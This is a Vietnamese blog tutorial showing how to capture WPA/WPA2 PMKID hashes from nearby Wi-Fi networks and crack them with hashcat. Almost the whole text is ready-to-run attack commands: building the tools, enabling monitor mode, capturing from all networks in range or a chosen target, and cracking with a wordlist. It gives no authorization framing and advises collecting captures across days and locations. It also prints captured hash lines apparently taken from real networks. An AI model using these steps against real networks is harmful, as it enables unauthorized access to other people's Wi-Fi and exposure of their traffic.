Dễ dàng bắt tín hiệu PMKID và thực hiện Crack PMKID WIFI bằng công cụ hashcat.
Mục lục
PMKID
PMKID (Pairwise Master Key Identifier) là một phần quan trọng trong quá trình xác thực của các mạng Wi-Fi được bảo vệ bằng WPA/WPA2-PSK. PMKID được gửi từ AP đến client trong một gói tin RSN IE (Robust Security Network Information Element) trong quá trình bắt tay đầu tiên của quá trình xác thực WPA 4 bước.
PMKID được tạo ra sử dụng một thuật toán hash HMAC-SHA1-128 bit. Mã Hash này được tạo bởi các thành phần như: PMK (Pairwise Master Key): Đây là khóa chính được dùng để tạo ra các khóa mã hóa phiên sử dụng trong quá trình giao tiếp, địa chỉ MAC của Access Point (AP), địa chỉ MAC của Station (STA), nghĩa là thiết bị client và “PMK Name” là một chuỗi cố định, thường là “PMK Name”.
Nhận thấy mật khẩu của mạng WIFI nằm luôn trong chuỗi Hash HMAC-SHA1-128. Nên vào tháng 8 năm 2018, các kỹ sư của Hashcat đã thực hiện bẻ khoá Hash PMKID bằng phương pháp brute-force sử dụng từ điển. Việc bắt được tín hiệu PMKID đã giúp việc giải mã, và phá vỡ bảo mật WI-FI trở nên dễ dàng hơn.
Tuy nhiên, lỗ hổng PMKID Hash Capture này chỉ xuất hiện trên WPA/WPA2-PSK (mạng WIFI dành cho hộ gia đình). Mạng WIFI WPA Enterprise (cho doanh nghiệp) PMK được tạo ra tự động và lưu trên Radius Server AAA.
Cài đặt hcxtools & hcxdumptools
Các chuyên gia ở Hashcat đã phát triển công cụ hcxtools và hcxdumptools giúp việc thu thập PMKID dễ dàng hơn. Sử dụng git để clone mã nguồn của hai công cụ hcxtools và hcxdumptools.
git clone https://github.com/ZerBea/hcxtools.git
git clone https://github.com/ZerBea/hcxdumptool.git
Sử dụng lệnh make để thực hiện compile mã nguồn hcxtools. Lệnh make build để copy mã nguồn vừa compile vào các thư mục của hệ thống. Việc copy file này cần có quyền root, nên chúng ta sử dụng lệnh sudo phía trước.
cd hcxtools
make
sudo make install
Thực hiện tương tự với công cụ hcxdumptool
cd hcxdumptool
make
sudo make install
Bật chế độ Monitor Mode
Để bắt tín hiệu WIFI, card mạng luôn phải được chuyển sang chế độ Monitor Mode. Để chuyển sang chế độ Monitor Mode, chúng ta sử dụng công cụ airmon-ng nằm trong bộ công cụ Aircrack.
Nếu bạn sử dụng USB WIFI TPLink và không bật được chế độ Monitor Mode. Hãy kiểm tra lại Driver WIFI của USB WIFI TPLink
sudo airmon-ng start wlan0
Bạn có thể sử dụng công cụ airodump-ng (cũng nằm trong bộ Aircrack) để bắt các gói tin WIFI đang trao đổi trong khu vực thu sóng của card WIFI.
sudo airodump-ng wlan0mon
Capture PMKID bằng hcxdumptool
Hãy đảm bảo chế độ Monitor Mode đã được bật với card mạng của bạn. Sử dụng công cụ hcxdumptool để thực hiện bắt các gói tin PMKID. Ở chế độ mặc định, công cụ hcxdumptool sẽ thực hiện bắt toàn bộ các PMKID của các mạng WIFI xung quanh bạn.
Hãy kiên nhẫn chờ đợi, vì PMKID chỉ xuất hiện khi Client ra khỏi khu vực phát sóng WIFI rồi quay trở lại (khu vực Roaming). PMKID được hash theo địa chỉ MAC của Client. Nên giả sử một mạng WIFI có 10 thiết bị, chúng ta sẽ bắt được 10 PMKID khác nhau, nhưng thực sự nó chỉ là một mạng WIFI duy nhất.
sudo hcxdumptool -i wlan0mon -o hanoi.pcap --enable_status=1
Nếu bạn không muốn bắt hết tất cả PMKID của toàn bộ mạng WIFI. Bạn sử dụng tham số –filterlist_ap để chỉ định địa chỉ MAC Address của Access Point bạn muốn bắt tín hiệu.
sudo hcxdumptool -i wlan0mon -w hanoi.pcap --enable_status=1 --filterlist_ap=targetBSSID --filtermode=2
Toàn bộ gói tin mà hcxdumptool bắt được sẽ được lưu lại trong file hanoi.pcap. Bạn có thể chỉ định một tên file khác cho dễ phân biệt. Nếu phải thu thập WIFI trong nhiều ngày và ở các địa điểm khác nhau. Hãy đặt tên file theo tiền tố và hậu tố, ví dụ Hanoi-2024-04-03 (khu vực Hà Nội, năm 2024 tháng 04 ngày 03)
Extract PMKID bằng hcxtools
Công cụ hcxdumptool lưu khá nhiều dữ liệu ở dạng raw trong file hanoi.pcap. Để bẻ khoá được mật khẩu, chúng ta cần Extract được mã hash PMKID bên trong. Chúng ta sử dụng công cụ hcxpcapngtool (nằm trong bộ hcxtools) để thực hiện chuyển đổi dữ liệu raw thành hash PMKID.
hcxpcapngtool hanoi.pcap -o hash.txt
Toàn bộ PMKID trong hanoi.pcap sẽ được lưu ra file hash.txt. Hcxcaptool không thực hiện việc lọc trùng dữ liệu, cũng không thực hiện việc loại bỏ các PMKID của những Client khác nhau trong cùng một mạng. Nên trước khi thực hiện việc bẻ khoá, chúng ta cần lọc trùng và tiền xử lý dữ liệu.
Bạn có thể tham khảo một vài mã hash mà công cụ hcxdumptool đã thực hiện chuyển đổi.
WPA*02*1c3a147e5f5bf116f376cb923eeb31f4*fcecdaf14c33*423538ff79fb*4170726f6d61636f*5a86473a4aa7c4beeb5b224ddf24b354a1c59799d15ff477c1136bb3c57273b5*0203007502010a001000000000000000014a4bffc355474c67934428bc6828890fb82491dea078f5c131552fe3166d257c000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001630140100000fac040100000fac040100000fac020c00*80
WPA*02*3e6066ff7dfd1fd20bc7dc64654c184d*fee734c457be*0012fd0b90a0*3336413833313936*08999f60ae05dbf41e49fcd8ee78548f967e220bf4511e3c2a269b87a2174743*0103007502010a00000000000000000001d05e6f04073be3831117641324c8c25e8633595b1638f01e3b93ccf83ea9e952000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001630140100000fac040100000fac040100000fac020000*82
WPA*02*c723d696ffc541c7c7f9f6571d189ba9*fee99879dcdf*a4f05ee49c3f*424b20494f532037204e68616e68202820546563686f6e652031392f313229*3f55c89753ab50fbee1393e6d9963b2efbe9b9bd9bc357bcd408686a81fbf137*0103007502010a000000000000000000014c816139a8ef89bafd3b05b60aca2a2b994ef9b29510248686ba8f3c1a38af0f000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001630140100000fac040100000fac040100000fac020000*a0
Crack PMKID bằng Hashcat
Sử dụng công cụ hashcat để bẻ khoá một loạt hash được lưu trong file hash.txt.
hashcat --potfile-disable -m 22000 hash.txt /Wordlist/wifi/birthday.txt -o cracked.txt
- –potfile-disable là tham số để tắt chức năng cache. Mã hash sau khi được khôi phục mật khẩu, hashcat sẽ lưu mật khẩu này vào trong potfile. Trong trường hợp này, chúng ta tắt đi để thực hiện cho việc thống kê.
- -m 22000 là tham số để chỉ định Module (loại hash) đang được crack có công thức tạo là gì. Hashcat đã tự định nghĩa công thức này
- /Wordlist/wifi/birthday.txt chỉ định file text wordlist chúng ta sử dụng. Mỗi mật khẩu sẽ nằm trên một dòng
- -o cracked.txt là tham số để chỉ định kết quả của quá trình bẻ khoá sẽ được lưu ở trong file cracked.txt
Phương pháp crack mật khẩu bằng wordlist là kỹ thuật sử dụng một danh sách các mật khẩu phổ biến hoặc có khả năng (wordlist) để thử giải mã. Hashcat sẽ tự động thử từng mật khẩu trong danh sách cho đến khi tìm ra mật khẩu đúng. Phương pháp này hiệu quả khi mật khẩu là từ hoặc cụm từ đơn giản, thường gặp.
What do you think?
It is nice to know your opinion. Leave a comment.